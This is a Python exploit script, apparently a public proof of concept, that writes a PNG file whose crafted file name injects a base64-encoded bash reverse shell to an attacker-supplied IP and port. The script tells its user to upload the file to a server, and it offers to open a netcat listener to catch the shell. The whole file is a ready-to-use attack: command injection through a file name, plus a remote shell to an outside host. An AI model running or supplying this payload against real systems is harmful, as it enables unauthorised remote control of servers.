import base64 import sys import os help_message = "Usage: {0} Attacker_IP Attacker_Port".format(sys.argv[0]) if len(sys.argv) != 3: print(help_message) exit() LHOST = sys.argv[1] LPORT = sys.argv[2] image = b'iVBORw0KGgoAAAANSUhEUgAAAQAAAAABCAAAAAAUMi+rAAAADnRFWHRqdXN0IGZvciB0ZXN0IZvUs4kAAAEMSURBVHicAQEB/v4AAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/633f4E21T+hAAAAAElFTkSuQmCC' def exploit(attacker_IP,attacker_port): reverse_shell = ('/bin/bash -c "/bin/bash -i >& /dev/tcp/{0}/{1} 0>&1"'.format(attacker_IP,attacker_port)).encode('ascii') payload = (base64.b64encode(reverse_shell)).decode("ascii") filename = '|smile"`echo {0}|base64 -d|bash`".png'.format(payload) with open(filename, "wb") as fh: fh.write(base64.decodebytes(image)) exploit(LHOST,LPORT) print('Created by SudoIndividual (https://github.com/SudoIndividual)') print('PNG file (payload) have been created in current directory. Upload the payload to the server') nc_shell = input('Do you want to run netcat shell? [y/N]') if nc_shell.lower() == 'y': os.system('nc -lvnp {0}'.format(LPORT)) else: exit()